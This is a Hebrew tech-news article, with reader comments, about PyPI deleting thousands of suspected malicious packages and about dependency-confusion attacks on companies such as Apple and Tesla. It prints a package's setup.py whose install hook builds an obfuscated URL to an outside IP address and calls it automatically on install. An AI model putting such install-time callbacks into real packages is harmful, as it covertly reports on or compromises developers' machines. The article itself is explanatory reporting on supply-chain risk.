3,653 ספריות פייתון נמחקו בחשד שהכילו קוד זדוני

מאגר ספריות הפייתון הגדול בעולם PyPi מחק אלפי ספריות בחשד שהכילו קוד זדוני. חוקר אבטחה כבר השתמש בשיטה הזו כדי לפרוץ בקלילות לאפל, מיקרוסופט, טסלה ופייפאל

תמונה: Pexels

מפתחים בפייתון משתמשים במאגרי ספריות, כדי להקל על תהליך הפיתוח שלהם ולהוסיף יכולות, שכתבו בקוד פתוח מפתחים אחרים. אבל בדיקה במאגר הספריות הגדול ביותר לפייתון העלתה את החשד כי לא פחות מ-3,653 ספריות שונות הכילו בתוכן קוד זדוני.

השם הפרדוקסלי

PyPI או אינדקס החבילות של פייתון הוא מאגר הספריות הגדול ביותר לפייתון ונהנה בין היתר מתמיכה של גוגל ואמזון. המאגר, שנמצא בשימוש של כמעט חצי מיליון מפתחי פייתון בכל העולם, כולל 3.9 מיליון חבילות שונות (“קבצים”).

אמנם מפתחים צריכים לבדוק ולבחון כל קוד שהם מטמיעים בפרויקטים שלהם, אבל לא תמיד הם עושים זאת. התוצאה של האמונה העיוורת הזו היא שקוד זדוני, שמוטמע בספריות שונות, יכול למצוא דרכו בקלילות לתוך פרויקטים תמימים עליהם הם עובדים. עתה נודע כי PyPi הסירה 3,653 חבילות בחשד שהכילו קוד זדוני.

הנסיבות אינן ברורות לחלוטין. מה שידוע הוא שהחבילות הועלו על ידי משתמש שבחר לעצמו שם פרדוקסלי במיוחד – RemindSupplyChainRisks – שנועד לכאורה להזהיר מפני מתקפות “שרשרת אספקה”, אותו וקטור הפעולה שבו הן לכאורה פועלות. בנוסף, נכתב בתוך הקוד: “המטרה היא לגרום לכולם לשים לב למתקפות שרשרת אספקה, מכיוון שהסכנה גדולה מדי”. ככל הנראה לא מדובר ביוזמה שנועדה באמת להביא למודעות בקרב המפתחים, משום שהמייל של החשבון אינו פעיל, וגם אין גוף שלקח אחריות על יוזמה כזו.

בדיקה של cupy-cuda112, אליה ניסה המפתח האלמוני להתחזות, העלתה למשל כי הקוד כולל פקודת GET לכתובת IP ביפן עם השם של החבילה. לא מועיל במיוחד, אבל גם לא מזיק. עם זאת, לא ידוע כאמור מה היו התוכניות העתידיות של אותו גורם.

class CustomInstallCommand(install):
    def run(self):
        install.run(self)
        url = "h"+"t"+"t"+"p"+":"+"/"+"/"+"1"+"0"+"1"+"."+"3"+"2"+"."+"9"+"9"+"."+"2"+"8"+"/name?cupy-cuda112"
        requests.get(url, timeout=30)

setup(
    name='cupy-cuda112',
    version='2.2.2',
    author='RemindSupplyChainRisks',
    author_email='RemindSupplyChainRisks@gmail.com',
    url='https://github.com/cupy-cuda112',
    description='Remind Supply Chain Risks',
    packages=['cupy-cuda112'],
    install_requires=['requests'],
    cmdclass={
        'install': CustomInstallCommand,
    },
)

החוקר שפרץ בקלילות לאפל, מיקרוסופט, טסלה ופייפאל

פייתון אינה השפה היחידה שמאפשרת התקנה של ספרייה ממאגרים קיימים. אם ל-Python יש את PyPi, ל-Node יש את npm ול-Ruby יש את RubyGems. חוקר האבטחה אלכס בירסן פרסם לפני מספר שבועות מאמר על וקטור תקיפה אותו הוא כינה Dependency Confusion, שחושף שוב את החולשות בספריות הללו.

בירסן יצר חבילות שאוספות את שם המשתמש, ה-Hostname, נתיב ההתקנה וכתובות IP חיצוניות. את המידע הוא שלח לעצמו באמצעות שאילתות DNS. משם הוא בנה בנק מטרות על ידי חיפוש של שמות חבילות פרטיות בגיטהאב ושירותי איחסון חבילות אחרים, וכן על ידי חיטוט בקובצי JavaScript. כך למשל, הוא הצליח למצוא שמות חבילות פנימיות של אפל, Yelp וגם טסלה. בירסן אף גילה שגם במקרים שבהם חברות בנו ספריות פנימיות ופרטיות, ניתן היה לשטות במערכות שלהן. כל שעליו היה לעשות הוא להעלות למאגר פומבי חבילה בעלת שם זהה, והמערכות של החברות משכו את הקוד הזדוני שלו, במקום את הקוד הפנימי של החברה.

בעיית השמות המתנגשים מוכרת, וחבילות בעלות קוד זדוני יכולות להסוות את עצמן תחת שם לגיטימי. האחראים ב-PyPi אמנם מוחקים חבילות כאלו, אבל מסרבים למחוק את החשבונות של מי שהעלה אותן. הטיעון אגב הוא שאין בעיה לפתוח חשבון חדש ולהעלות משם קוד זדוני, בעוד שאם זוהה כבר חשבון מפוקפק אפשר יהיה לעקוב אחריו מקרוב.

יניב אביטל

עורך אתר גיקטיים. יש לכם רעיון לכתבה? טיפ סודי? הדלפה? מחכה לכם ב-yaneev@geektime.co.il

הגב

3 תגובות על "3,653 ספריות פייתון נמחקו בחשד שהכילו קוד זדוני"

avatar
Photo and Image Files
 
 
 
Audio and Video Files
 
 
 
Other File Types
 
 
 

* היי, אנחנו אוהבים תגובות!
תיקונים, תגובות קוטלות וכמובן תגובות מפרגנות - בכיף.
חופש הביטוי הוא ערך עליון, אבל לא נוכל להשלים עם תגובות שכוללות הסתה, הוצאת דיבה, תגובות שכוללות מידע המפר את תנאי השימוש של Geektime, תגובות שחורגות מהטעם הטוב ותגובות שהן בניגוד לדין. תגובות כאלו יימחקו מייד.

סידור לפי:   חדש | ישן | הכי מדורגים
אבי
Guest

לא הבנתי מה הנושא.
זו פרצה בתוכנה של המאגר.
מה היא מתבלבלת בין חבילה מהמאגר הפרטי, לחבילה מהמאגר הציבורי?

צריך להיות מזהה ברור לחבילה פרטית.
משהו כזה: a@username, ולא יהיה ניתן ליצור עוד חבילה כזאת.
לא כזה מסובך…

אולי לא לאפשר ליצור חבילות ציבוריות, עם שמות שקיימים במאגרים פרטיים?

הכי פשוט זה להכניס את שם הארגון, בשם החבילה. ולא לאפשר שמות חבילות עם @ למשל.
ואז המזהה react@facebook, יהיה שמור לחבילת ריאקט הפרטית של פייסבוק.

נוני
Guest

אתה לא הבנת חברות גדולות כמו פייסבוק אפל אמזון יש להם חבילות פרטיות אם הוא העלה למאגר ציבורי את השם של חבילות אפ קוד זדוני ככה המנהל חבילות משך את חבילה ממאגר פומבי במקום פנימי

ניר
Guest

גיקטיים יקרים, מאגר הrelated Articles שלכם באופן קבוע מפנה לאותה כתבה. תחת “כתבות נוספות בדיוק בשבילך”, במקום שני.

wpDiscuz

תגיות לכתבה: